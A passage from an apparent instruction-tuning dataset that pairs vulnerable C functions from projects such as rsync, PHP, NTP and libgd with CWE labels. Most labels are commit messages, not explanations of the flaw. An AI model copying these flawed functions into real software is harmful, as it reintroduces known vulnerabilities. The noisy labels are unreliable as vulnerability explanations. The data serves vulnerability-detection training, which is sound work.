-1;\n\t}\n\n\tif (DEBUG_GTE(FLIST, 3))\n\t\toutput_flist(flist);\n\n\tif (DEBUG_GTE(FLIST, 2))\n\t\trprintf(FINFO, \"recv_file_list done\\n\");\n\n\tstats.flist_size += stats.total_read - start_read;\n\tstats.num_files += flist->used;\n\n\treturn flist;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'Complain if an inc-recursive path is not right for its dir.\nThis ensures that a malicious sender can't use a just-sent\nsymlink as a trasnfer path.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...) /* {{{ */\n{\n\tva_list va;\n\tchar *message = NULL;\n\n\tva_start(va, format);\n\tzend_vspprintf(&message, 0, format, va);\n\n\tif (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {\n\t\tzend_throw_error(exception_ce, message);\n\t} else {\n\t\tzend_error(E_ERROR, \"%s\", message);\n\t}\n\n\tefree(message);\n\tva_end(va);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'Use format string'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: authhavekey(\n\tkeyid_t\t\tid\n\t)\n{\n\tsymkey *\tsk;\n\n\tauthkeylookups++;\n\tif (0 == id || cache_keyid == id) {\n\t\treturn TRUE;\n\t}\n\n\t/*\n\t * Seach the bin for the key. If found and the key type\n\t * is zero, somebody marked it trusted without specifying\n\t * a key or key type. In this case consider the key missing.\n\t */\n\tauthkeyuncached++;\n\tfor (sk = key_hash[KEYHASH(id)]; sk != NULL; sk = sk->hlink) {\n\t\tif (id == sk->keyid) {\n\t\t\tif (0 == sk->type) {\n\t\t\t\tauthkeynotfound++;\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/*\n\t * If the key is not found, or if it is found but not trusted,\n\t * the key is not considered found.\n\t */\n\tif (NULL == sk) {\n\t\tauthkeynotfound++;\n\t\treturn FALSE;\n\t}\n\tif (!(KEY_TRUSTED & sk->flags)) {\n\t\tauthnokey++;\n\t\treturn FALSE;\n\t}\n\n\t/*\n\t * The key is found and trusted. Initialize the key cache.\n\t */\n\tcache_keyid = sk->keyid;\n\tcache_type = sk->type;\n\tcache_flags = sk->flags;\n\tcache_secret = sk->secret;\n\tcache_secretsize = sk->secretsize;\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': '[Sec 2936] Skeleton Key: Any trusted key system can serve time. HStenn.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gdImagePtr gdImageRotateInterpolated(const gdImagePtr src, const float angle, int bgcolor)\n{\n\tconst int angle_rounded = (int)floor(angle * 100);\n\n\tif (bgcolor < 0 || (!src->trueColor && bgcolor >= gdMaxColors)) {\n\t\treturn NULL;\n\t}\n\n\t/* impact perf a bit, but not that much. Implementation for palette\n\t images can be done at a later point.\n\t*/\n\tif (src->trueColor == 0) {\n\t\tif (bgcolor >= 0) {\n\t\t\tbgcolor = gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);\n\t\t}\n\t\tgdImagePaletteToTrueColor(src);\n\t}\n\n\t/* no interpolation needed here */\n\tswitch (angle_rounded) {\n\t\tcase 9000:\n\t\t\treturn gdImageRotate90(src, 0);\n\t\tcase 18000:\n\t\t\treturn gdImageRotate180(src, 0);\n\t\tcase 27000:\n\t\t\treturn gdImageRotate270(src, 0);\n\t}\n\n\tif (src == NULL || src->interpolation_id < 1 || src->interpolation_id > GD_METHOD_COUNT) {\n\t\treturn NULL;\n\t}\n\n\tswitch (src->interpolation_id) {\n\t\tcase GD_NEAREST_NEIGHBOUR:\n\t\t\treturn gdImageRotateNearestNeighbour(src, angle, bgcolor);\n\t\t\tbreak;\n\n\t\tcase GD_BILINEAR_FIXED:\n\t\t\treturn gdImageRotateBilinear(src, angle, bgcolor);\n\t\t\tbreak;\n\n\t\tcase GD_BICUBIC_FIXED:\n\t\t\treturn gdImageRotateBicubicFixed(src, angle, bgcolor);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\treturn gdImageRotateGeneric(src, angle, bgcolor);\n\t}\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'fix the fix for bug #70976 (imagerotate)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHPAPI zend_string *php_escape_shell_arg(char *str)\n{\n\tint x, y = 0, l = (int)strlen(str);\n\tzend_string *cmd;\n\tsize_t estimate = (4 * l) + 3;\n\n\n\tcmd = zend_string_alloc(4 * l + 2, 0); /* worst case */\n\n#ifdef PHP_WIN32\n\tZSTR_VAL(cmd)[y++] = '\"';\n#else\n\tZSTR_VAL(cmd)[y++] = '\\'';\n#endif\n\n\tfor (x = 0; x < l; x++) {\n\t\tint mb_len = php_mblen(str + x, (l - x));\n\n\t\t/* skip non-valid multibyte characters */\n\t\tif (mb_len < 0) {\n\t\t\tcontinue;\n\t\t} else if (mb_len > 1) {\n\t\t\tmemcpy(ZSTR_VAL(cmd) + y, str + x, mb_len);\n\t\t\ty += mb_len;\n\t\t\tx += mb_len - 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tswitch (str[x]) {\n#ifdef PHP_WIN32\n\t\tcase '\"':\n\t\tcase '%':\n\t\tcase '!':\n\t\t\tZSTR_VAL(cmd)[y++] = ' ';\n\t\t\tbreak;\n#else\n\t\tcase '\\'':\n\t\t\tZSTR_VAL(cmd)[y++] = '\\'';\n\t\t\tZSTR_VAL(cmd)[y++] = '\\\\';\n\t\t\tZSTR_VAL(cmd)[y++] = '\\'';\n#endif\n\t\t\t/* fall-through */\n\t\tdefault:\n\t\t\tZSTR_VAL(cmd)[y++] = str[x];\n\t\t}\n\t}\n#ifdef PHP_WIN32\n\tif (y > 0 && '\\\\' == ZSTR_VAL(cmd)[y - 1]) {\n\t\tint k = 0, n = y - 1;\n\t\tfor (; n >= 0 && '\\\\' == ZSTR_VAL(cmd)[n]; n--, k++);\n\t\tif (k % 2) {\n\t\t\tZSTR_VAL(cmd)[y++] = '\\\\';\n\t\t}\n\t}\n\n\tZSTR_VAL(cmd)[y++] = '\"';\n#else\n\tZSTR_VAL(cmd)[y++] = '\\'';\n#endif\n\tZSTR_VAL(cmd)[y] = '\\0';\n\n\tif ((estimate - y) > 4096) {\n\t\t/* realloc if the estimate was way overill\n\t\t * Arbitrary cutoff point of 4096 */\n\t\tcmd = zend_string_truncate(cmd, y, 0);\n\t}\n\tZSTR_LEN(cmd) = y;\n\treturn cmd;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Patch for Heap Buffer Overflow in EscapeShell\n\nProposed patch for bug #71270'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: receive(\n\tstruct recvbuf *rbufp\n\t)\n{\n\tregister struct peer *peer;\t/* peer structure pointer */\n\tregister struct pkt *pkt;\t/* receive packet pointer */\n\tu_char\thisversion;\t\t/* packet version */\n\tu_char\thisleap;\t\t/* packet leap indicator */\n\tu_char\thismode;\t\t/* packet mode */\n\tu_char\thisstratum;\t\t/* packet stratum */\n\tu_short\trestrict_mask;\t\t/* restrict bits */\n\tconst char *hm_str;\t\t/* hismode string */\n\tconst char *am_str;\t\t/* association match string */\n\tint\tkissCode = NOKISS;\t/* Kiss Code */\n\tint\thas_mac;\t\t/* length of MAC field */\n\tint\tauthlen;\t\t/* offset of MAC field */\n\tint\tis_authentic = 0;\t/* cryptosum ok */\n\tint\tretcode = AM_NOMATCH;\t/* match code */\n\tkeyid_t\tskeyid = 0;\t\t/* key IDs */\n\tu_int32\topcode = 0;\t\t/* extension field opcode */\n\tsockaddr_u *dstadr_sin;\t\t/* active runway */\n\tstruct peer *peer2;\t\t/* aux peer structure pointer */\n\tendpt\t*match_ep;\t\t/* newpeer() local address */\n\tl_fp\tp_org;\t\t\t/* origin timestamp */\n\tl_fp\tp_rec;\t\t\t/* receive timestamp */\n\tl_fp\tp_xmt;\t\t\t/* transmit timestamp */\n#ifdef AUTOKEY\n\tchar\thostname[NTP_MAXSTRLEN + 1];\n\tchar\t*groupname = NULL;\n\tstruct autokey *ap;\t\t/* autokey structure pointer */\n\tint\trval;\t\t\t/* cookie snatcher */\n\tkeyid_t\tpkeyid = 0, tkeyid = 0;\t/* key IDs */\n#endif\t/* AUTOKEY */\n#ifdef HAVE_NTP_SIGND\n\tstatic unsigned char zero_key[16];\n#endif /* HAVE_NTP_SIGND */\n\n\t/*\n\t * Monitor the packet and get restrictions. Note that the packet\n\t * length for control and private mode packets must be checked\n\t * by the service routines. Some restrictions have to be handled\n\t * later in order to generate a kiss-o'-death packet.\n\t */\n\t/*\n\t * Bogus port check is before anything, since it probably\n\t * reveals a clogging attack.\n\t */\n\tsys_received++;\n\tif (0 == SRCPORT(&rbufp->recv_srcadr)) {\n\t\tsys_badlength++;\n\t\treturn;\t\t\t\t/* bogus port */\n\t}\n\trestrict_mask = restrictions(&rbufp->recv_srcadr);\n\tpkt = &rbufp->recv_pkt;\n\tDPRINTF(2, (\"receive: at %ld %s<-%s flags %x restrict %03x org %#010x.%08x xmt %#010x.%08x\\n\",\n\t\t current_time, stoa(&rbufp->dstadr->sin),\n\t\t stoa(&rbufp->recv_srcadr), rbufp->dstadr->flags,\n\t\t restrict_mask, ntohl(pkt->org.l_ui), ntohl(pkt->org.l_uf),\n\t\t ntohl(pkt->xmt.l_ui), ntohl(pkt->xmt.l_uf)));\n\thisversion = PKT_VERSION(pkt->li_vn_mode);\n\thisleap = PKT_LEAP(pkt->li_vn_mode);\n\thismode = (int)PKT_MODE(pkt->li_vn_mode);\n\thisstratum = PKT_TO_STRATUM(pkt->stratum);\n\tif (restrict_mask & RES_IGNORE) {\n\t\tsys_restricted++;\n\t\treturn;\t\t\t\t/* ignore everything */\n\t}\n\tif (hismode == MODE_PRIVATE) {\n\t\tif (!ntp_mode7 || (restrict_mask & RES_NOQUERY)) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* no query private */\n\t\t}\n\t\tprocess_private(rbufp, ((restrict_mask &\n\t\t RES_NOMODIFY) == 0));\n\t\treturn;\n\t}\n\tif (hismode == MODE_CONTROL) {\n\t\tif (restrict_mask & RES_NOQUERY) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* no query control */\n\t\t}\n\t\tprocess_control(rbufp, restrict_mask);\n\t\treturn;\n\t}\n\tif (restrict_mask & RES_DONTSERVE) {\n\t\tsys_restricted++;\n\t\treturn;\t\t\t\t/* no time serve */\n\t}\n\n\t/*\n\t * This is for testing. If restricted drop ten percent of\n\t * surviving packets.\n\t */\n\tif (restrict_mask & RES_FLAKE) {\n\t\tif ((double)ntp_random() / 0x7fffffff < .1) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* no flakeway */\n\t\t}\n\t}\n\n\t/*\n\t * Version check must be after the query packets, since they\n\t * intentionally use an early version.\n\t */\n\tif (hisversion == NTP_VERSION) {\n\t\tsys_newversion++;\t\t/* new version */\n\t} else if ( !(restrict_mask & RES_VERSION)\n\t\t && hisversion >= NTP_OLDVERSION) {\n\t\tsys_oldversion++;\t\t/* previous version */\n\t} else {\n\t\tsys_badlength++;\n\t\treturn;\t\t\t\t/* old version */\n\t}\n\n\t/*\n\t * Figure out his mode and validate the packet. This has some\n\t * legacy raunch that probably should be removed. In very early\n\t * NTP versions mode 0 was equivalent to what later versions\n\t * would interpret as client mode.\n\t */\n\tif (hismode == MODE_UNSPEC) {\n\t\tif (hisversion == NTP_OLDVERSION) {\n\t\t\thismode = MODE_CLIENT;\n\t\t} else {\n\t\t\tsys_badlength++;\n\t\t\treturn; /* invalid mode */\n\t\t}\n\t}\n\n\t/*\n\t * Parse the extension field if present. We figure out whether\n\t * an extension field is present by measuring the MAC size. If\n\t * the number of words following the packet header is 0, no MAC\n\t * is present and the packet is not authenticated. If 1, the\n\t * packet is a crypto-NAK; if 3, the packet is authenticated\n\t * with DES; if 5, the packet is authenticated with MD5; if 6,\n\t * the packet is authenticated with SHA. If 2 or * 4, the packet\n\t * is a runt and discarded forthwith. If greater than 6, an\n\t * extension field is present, so we subtract the length of the\n\t * field and go around again.\n\t */\n\tauthlen = LEN_PKT_NOMAC;\n\thas_mac = rbufp->recv_length - authlen;\n\twhile (has_mac > 0) {\n\t\tu_int32\tlen;\n#ifdef AUTOKEY\n\t\tu_int32\thostlen;\n\t\tstruct exten *ep;\n#endif /*AUTOKEY */\n\n\t\tif (has_mac % 4 != 0 || has_mac < (int)MIN_MAC_LEN) {\n\t\t\tsys_badlength++;\n\t\t\treturn;\t\t\t/* bad length */\n\t\t}\n\t\tif (has_mac <= (int)MAX_MAC_LEN) {\n\t\t\tskeyid = ntohl(((u_int32 *)pkt)[authlen / 4]);\n\t\t\tbreak;\n\n\t\t} else {\n\t\t\topcode = ntohl(((u_int32 *)pkt)[authlen / 4]);\n\t\t\tlen = opcode & 0xffff;\n\t\t\tif ( len % 4 != 0\n\t\t\t || len < 4\n\t\t\t || (int)len + authlen > rbufp->recv_length) {\n\t\t\t\tsys_badlength++;\n\t\t\t\treturn;\t\t/* bad length */\n\t\t\t}\n#ifdef AUTOKEY\n\t\t\t/*\n\t\t\t * Extract calling group name for later. If\n\t\t\t * sys_groupname is non-NULL, there must be\n\t\t\t * a group name provided to elicit a response.\n\t\t\t */\n\t\t\tif ( (opcode & 0x3fff0000) == CRYPTO_ASSOC\n\t\t\t && sys_groupname != NULL) {\n\t\t\t\tep = (struct exten *)&((u_int32 *)pkt)[authlen / 4];\n\t\t\t\thostlen = ntohl(ep->vallen);\n\t\t\t\tif ( hostlen >= sizeof(hostname)\n\t\t\t\t || hostlen > len -\n\t\t\t\t\t\toffsetof(struct exten, pkt)) {\n\t\t\t\t\tsys_badlength++;\n\t\t\t\t\treturn;\t\t/* bad length */\n\t\t\t\t}\n\t\t\t\tmemcpy(hostname, &ep->pkt, hostlen);\n\t\t\t\thostname[hostlen] = '\\0';\n\t\t\t\tgroupname = strchr(hostname, '@');\n\t\t\t\tif (groupname == NULL) {\n\t\t\t\t\tsys_declined++;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tgroupname++;\n\t\t\t}\n#endif /* AUTOKEY */\n\t\t\tauthlen += len;\n\t\t\thas_mac -= len;\n\t\t}\n\t}\n\n\t/*\n\t * If has_mac is < 0 we had a malformed packet.\n\t */\n\tif (has_mac < 0) {\n\t\tsys_badlength++;\n\t\treturn;\t\t/* bad length */\n\t}\n\n\t/*\n\t * If authentication required, a MAC must be present.\n\t */\n\tif (restrict_mask & RES_DONTTRUST && has_mac == 0) {\n\t\tsys_restricted++;\n\t\treturn;\t\t\t\t/* access denied */\n\t}\n\n\t/*\n\t * Update the MRU list and finger the cloggers. It can be a\n\t * little expensive, so turn it off for production use.\n\t * RES_LIMITED and RES_KOD will be cleared in the returned\n\t * restrict_mask unless one or both actions are warranted.\n\t */\n\trestrict_mask = ntp_monitor(rbufp, restrict_mask);\n\tif (restrict_mask & RES_LIMITED) {\n\t\tsys_limitrejected++;\n\t\tif ( !(restrict_mask & RES_KOD)\n\t\t || MODE_BROADCAST == hismode\n\t\t || MODE_SERVER == hismode) {\n\t\t\tif (MODE_SERVER == hismode)\n\t\t\t\tDPRINTF(1, (\"Possibly self-induced rate limiting of MODE_SERVER from %s\\n\",\n\t\t\t\t\tstoa(&rbufp->recv_srcadr)));\n\t\t\treturn;\t\t\t/* rate exceeded */\n\t\t}\n\t\tif (hismode == MODE_CLIENT)\n\t\t\tfast_xmit(rbufp, MODE_SERVER, skeyid,\n\t\t\t restrict_mask);\n\t\telse\n\t\t\tfast_xmit(rbufp, MODE_ACTIVE, skeyid,\n\t\t\t restrict_mask);\n\t\treturn;\t\t\t\t/* rate exceeded */\n\t}\n\trestrict_mask &= ~RES_KOD;\n\n\t/*\n\t * We have tossed out as many buggy packets as possible early in\n\t * the game to reduce the exposure to a clogging attack. Now we\n\t * have to burn some cycles to find the association and\n\t * authenticate the packet if required. Note that we burn only\n\t * digest cycles, again to reduce exposure. There may be no\n\t * matching association and that's okay.\n\t *\n\t * More on the autokey mambo. Normally the local interface is\n\t * found when the association was mobilized with respect to a\n\t * designated remote address. We assume packets arriving from\n\t * the remote address arrive via this interface and the local\n\t * address used to construct the autokey is the unicast address\n\t * of the interface. However, if the sender is a broadcaster,\n\t * the interface broadcast address is used instead.\n\t * Notwithstanding this technobabble, if the sender is a\n\t * multicaster, the broadcast address is null, so we use the\n\t * unicast address anyway. Don't ask.\n\t */\n\tpeer = findpeer(rbufp, hismode, &retcode);\n\tdstadr_sin = &rbufp->dstadr->sin;\n\tNTOHL_FP(&pkt->org, &p_org);\n\tNTOHL_FP(&pkt->rec, &p_rec);\n\tNTOHL_FP(&pkt->xmt, &p_xmt);\n\thm_str = modetoa(hismode);\n\tam_str = amtoa(retcode);\n\n\t/*\n\t * Authentication is conditioned by three switches:\n\t *\n\t * NOPEER (RES_NOPEER) do not mobilize an association unless\n\t * authenticated\n\t * NOTRUST (RES_DONTTRUST) do not allow access unless\n\t * authenticated (implies NOPEER)\n\t * enable (sys_authenticate) master NOPEER switch, by default\n\t * on\n\t *\n\t * The NOPEER and NOTRUST can be specified on a per-client basis\n\t * using the restrict command. The enable switch if on implies\n\t * NOPEER for all clients. There are four outcomes:\n\t *\n\t * NONE The packet has no MAC.\n\t * OK the packet has a MAC and authentication succeeds\n\t * ERROR the packet has a MAC and authentication fails\n\t * CRYPTO crypto-NAK. The MAC has four octets only.\n\t *\n\t * Note: The AUTH(x, y) macro is used to filter outcomes. If x\n\t * is zero, acceptable outcomes of y are NONE and OK. If x is\n\t * one, the only acceptable outcome of y is OK.\n\t */\n\n\tif (has_mac == 0) {\n\t\trestrict_mask &= ~RES_MSSNTP;\n\t\tis_authentic = AUTH_NONE; /* not required */\n\t\tDPRINTF(2, (\"receive: at %ld %s<-%s mode %d/%s:%s len %d org %#010x.%08x xmt %#010x.%08x NOMAC\\n\",\n\t\t\t current_time, stoa(dstadr_sin),\n\t\t\t stoa(&rbufp->recv_srcadr), hismode, hm_str, am_str,\n\t\t\t authlen,\n\t\t\t ntohl(pkt->org.l_ui), ntohl(pkt->org.l_uf),\n\t\t\t ntohl(pkt->xmt.l_ui), ntohl(pkt->xmt.l_uf)));\n\t} else if (has_mac == 4) {\n\t\trestrict_mask &= ~RES_MSSNTP;\n\t\tis_authentic = AUTH_CRYPTO; /* crypto-NAK */\n\t\tDPRINTF(2, (\"receive: at %ld %s<-%s mode %d/%s:%s keyid %08x len %d auth %d org %#010x.%08x xmt %#010x.%08x MAC4\\n\",\n\t\t\t current_time, stoa(dstadr_sin),\n\t\t\t stoa(&rbufp->recv_srcadr), hismode, hm_str, am_str,\n\t\t\t skeyid, authlen + has_mac, is_authentic,\n\t\t\t ntohl(pkt->org.l_ui), ntohl(pkt->org.l_uf),\n\t\t\t ntohl(pkt->xmt.l_ui), ntohl(pkt->xmt.l_uf)));\n\n#ifdef HAVE_NTP_SIGND\n\t\t/*\n\t\t * If the signature is 20 bytes long, the last 16 of\n\t\t * which are zero, then this is a Microsoft client\n\t\t * wanting AD-style authentication of the server's\n\t\t * reply.\n\t\t *\n\t\t * This is described in Microsoft's WSPP docs, in MS-SNTP:\n\t\t * http://msdn.microsoft.com/en-us/library/cc212930.aspx\n\t\t */\n\t} else if ( has_mac == MAX_MD5_LEN\n\t\t && (restrict_mask & RES_MSSNTP)\n\t\t && (retcode == AM_FXMIT || retcode == AM_NEWPASS)\n\t\t && (memcmp(zero_key, (char *)pkt + authlen + 4,\n\t\t\t MAX_MD5_LEN - 4) == 0)) {\n\t\tis_authentic = AUTH_NONE;\n#endif /* HAVE_NTP_SIGND */\n\n\t} else {\n\t\trestrict_mask &= ~RES_MSSNTP;\n#ifdef AUTOKEY\n\t\t/*\n\t\t * For autokey modes, generate the session key\n\t\t * and install in the key cache. Use the socket\n\t\t * broadcast or unicast address as appropriate.\n\t\t */\n\t\tif (crypto_flags && skeyid > NTP_MAXKEY) {\n\n\t\t\t/*\n\t\t\t * More on the autokey dance (AKD). A cookie is\n\t\t\t * constructed from public and private values.\n\t\t\t * For broadcast packets, the cookie is public\n\t\t\t * (zero). For packets that match no\n\t\t\t * association, the cookie is hashed from the\n\t\t\t * addresses and private value. For server\n\t\t\t * packets, the cookie was previously obtained\n\t\t\t * from the server. For symmetric modes, the\n\t\t\t * cookie was previously constructed using an\n\t\t\t * agreement protocol; however, should PKI be\n\t\t\t * unavailable, we construct a fake agreement as\n\t\t\t * the EXOR of the peer and host cookies.\n\t\t\t *\n\t\t\t * hismode\tephemeral\tpersistent\n\t\t\t * =======================================\n\t\t\t * active\t0\t\tcookie#\n\t\t\t * passive\t0%\t\tcookie#\n\t\t\t * client\tsys cookie\t0%\n\t\t\t * server\t0%\t\tsys cookie\n\t\t\t * broadcast\t0\t\t0\n\t\t\t *\n\t\t\t * # if unsync, 0\n\t\t\t * % can't happen\n\t\t\t */\n\t\t\tif (has_mac < (int)MAX_MD5_LEN) {\n\t\t\t\tsys_badauth++;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (hismode == MODE_BROADCAST) {\n\n\t\t\t\t/*\n\t\t\t\t * For broadcaster, use the interface\n\t\t\t\t * broadcast address when available;\n\t\t\t\t * otherwise, use the unicast address\n\t\t\t\t * found when the association was\n\t\t\t\t * mobilized. However, if this is from\n\t\t\t\t * the wildcard interface, game over.\n\t\t\t\t */\n\t\t\t\tif ( crypto_flags\n\t\t\t\t && rbufp->dstadr ==\n\t\t\t\t ANY_INTERFACE_CHOOSE(&rbufp->recv_srcadr)) {\n\t\t\t\t\tsys_restricted++;\n\t\t\t\t\treturn;\t /* no wildcard */\n\t\t\t\t}\n\t\t\t\tpkeyid = 0;\n\t\t\t\tif (!SOCK_UNSPEC(&rbufp->dstadr->bcast))\n\t\t\t\t\tdstadr_sin =\n\t\t\t\t\t &rbufp->dstadr->bcast;\n\t\t\t} else if (peer == NULL) {\n\t\t\t\tpkeyid = session_key(\n\t\t\t\t &rbufp->recv_srcadr, dstadr_sin, 0,\n\t\t\t\t sys_private, 0);\n\t\t\t} else {\n\t\t\t\tpkeyid = peer->pcookie;\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * The session key includes both the public\n\t\t\t * values and cookie. In case of an extension\n\t\t\t * field, the cookie used for authentication\n\t\t\t * purposes is zero. Note the hash is saved for\n\t\t\t * use later in the autokey mambo.\n\t\t\t */\n\t\t\tif (authlen > (int)LEN_PKT_NOMAC && pkeyid != 0) {\n\t\t\t\tsession_key(&rbufp->recv_srcadr,\n\t\t\t\t dstadr_sin, skeyid, 0, 2);\n\t\t\t\ttkeyid = session_key(\n\t\t\t\t &rbufp->recv_srcadr, dstadr_sin,\n\t\t\t\t skeyid, pkeyid, 0);\n\t\t\t} else {\n\t\t\t\ttkeyid = session_key(\n\t\t\t\t &rbufp->recv_srcadr, dstadr_sin,\n\t\t\t\t skeyid, pkeyid, 2);\n\t\t\t}\n\n\t\t}\n#endif\t/* AUTOKEY */\n\n\t\t/*\n\t\t * Compute the cryptosum. Note a clogging attack may\n\t\t * succeed in bloating the key cache. If an autokey,\n\t\t * purge it immediately, since we won't be needing it\n\t\t * again. If the packet is authentic, it can mobilize an\n\t\t * association. Note that there is no key zero.\n\t\t */\n\t\tif (!authdecrypt(skeyid, (u_int32 *)pkt, authlen,\n\t\t has_mac))\n\t\t\tis_authentic = AUTH_ERROR;\n\t\telse\n\t\t\tis_authentic = AUTH_OK;\n#ifdef AUTOKEY\n\t\tif (crypto_flags && skeyid > NTP_MAXKEY)\n\t\t\tauthtrust(skeyid, 0);\n#endif\t/* AUTOKEY */\n\t\tDPRINTF(2, (\"receive: at %ld %s<-%s mode %d/%s:%s keyid %08x len %d auth %d org %#010x.%08x xmt %#010x.%08x\\n\",\n\t\t\t current_time, stoa(dstadr_sin),\n\t\t\t stoa(&rbufp->recv_srcadr), hismode, hm_str, am_str,\n\t\t\t skeyid, authlen + has_mac, is_authentic,\n\t\t\t ntohl(pkt->org.l_ui), ntohl(pkt->org.l_uf),\n\t\t\t ntohl(pkt->xmt.l_ui), ntohl(pkt->xmt.l_uf)));\n\t}\n\n\t/*\n\t * The association matching rules are implemented by a set of\n\t * routines and an association table. A packet matching an\n\t * association is processed by the peer process for that\n\t * association. If there are no errors, an ephemeral association\n\t * is mobilized: a broadcast packet mobilizes a broadcast client\n\t * aassociation; a manycast server packet mobilizes a manycast\n\t * client association; a symmetric active packet mobilizes a\n\t * symmetric passive association.\n\t */\n\tswitch (retcode) {\n\n\t/*\n\t * This is a client mode packet not matching any association. If\n\t * an ordinary client, simply toss a server mode packet back\n\t * over the fence. If a manycast client, we have to work a\n\t * little harder.\n\t */\n\tcase AM_FXMIT:\n\n\t\t/*\n\t\t * If authentication OK, send a server reply; otherwise,\n\t\t * send a crypto-NAK.\n\t\t */\n\t\tif (!(rbufp->dstadr->flags & INT_MCASTOPEN)) {\n\t\t\tif (AUTH(restrict_mask & RES_DONTTRUST,\n\t\t\t is_authentic)) {\n\t\t\t\tfast_xmit(rbufp, MODE_SERVER, skeyid,\n\t\t\t\t restrict_mask);\n\t\t\t} else if (is_authentic == AUTH_ERROR) {\n\t\t\t\tfast_xmit(rbufp, MODE_SERVER, 0,\n\t\t\t\t restrict_mask);\n\t\t\t\tsys_badauth++;\n\t\t\t} else {\n\t\t\t\tsys_restricted++;\n\t\t\t}\n\t\t\treturn;\t\t\t/* hooray */\n\t\t}\n\n\t\t/*\n\t\t * This must be manycast. Do not respond if not\n\t\t * configured as a manycast server.\n\t\t */\n\t\tif (!sys_manycastserver) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* not enabled */\n\t\t}\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if not the same group.\n\t\t */\n\t\tif (group_test(groupname, NULL)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n#endif /* AUTOKEY */\n\n\t\t/*\n\t\t * Do not respond if we are not synchronized or our\n\t\t * stratum is greater than the manycaster or the\n\t\t * manycaster has already synchronized to us.\n\t\t */\n\t\tif ( sys_leap == LEAP_NOTINSYNC\n\t\t || sys_stratum >= hisstratum\n\t\t || (!sys_cohort && sys_stratum == hisstratum + 1)\n\t\t || rbufp->dstadr->addr_refid == pkt->refid) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* no help */\n\t\t}\n\n\t\t/*\n\t\t * Respond only if authentication succeeds. Don't do a\n\t\t * crypto-NAK, as that would not be useful.\n\t\t */\n\t\tif (AUTH(restrict_mask & RES_DONTTRUST, is_authentic))\n\t\t\tfast_xmit(rbufp, MODE_SERVER, skeyid,\n\t\t\t restrict_mask);\n\t\treturn;\t\t\t\t/* hooray */\n\n\t/*\n\t * This is a server mode packet returned in response to a client\n\t * mode packet sent to a multicast group address (for\n\t * manycastclient) or to a unicast address (for pool). The\n\t * origin timestamp is a good nonce to reliably associate the\n\t * reply with what was sent. If there is no match, that's\n\t * curious and could be an intruder attempting to clog, so we\n\t * just ignore it.\n\t *\n\t * If the packet is authentic and the manycastclient or pool\n\t * association is found, we mobilize a client association and\n\t * copy pertinent variables from the manycastclient or pool\n\t * association to the new client association. If not, just\n\t * ignore the packet.\n\t *\n\t * There is an implosion hazard at the manycast client, since\n\t * the manycast servers send the server packet immediately. If\n\t * the guy is already here, don't fire up a duplicate.\n\t */\n\tcase AM_MANYCAST:\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if not the same group.\n\t\t */\n\t\tif (group_test(groupname, NULL)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n#endif /* AUTOKEY */\n\t\tif ((peer2 = findmanycastpeer(rbufp)) == NULL) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* not enabled */\n\t\t}\n\t\tif (!AUTH( (!(peer2->cast_flags & MDF_POOL)\n\t\t\t && sys_authenticate)\n\t\t\t || (restrict_mask & (RES_NOPEER |\n\t\t\t RES_DONTTRUST)), is_authentic)) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* access denied */\n\t\t}\n\n\t\t/*\n\t\t * Do not respond if unsynchronized or stratum is below\n\t\t * the floor or at or above the ceiling.\n\t\t */\n\t\tif ( hisleap == LEAP_NOTINSYNC\n\t\t || hisstratum < sys_floor\n\t\t || hisstratum >= sys_ceiling) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* no help */\n\t\t}\n\t\tpeer = newpeer(&rbufp->recv_srcadr, NULL, rbufp->dstadr,\n\t\t\t 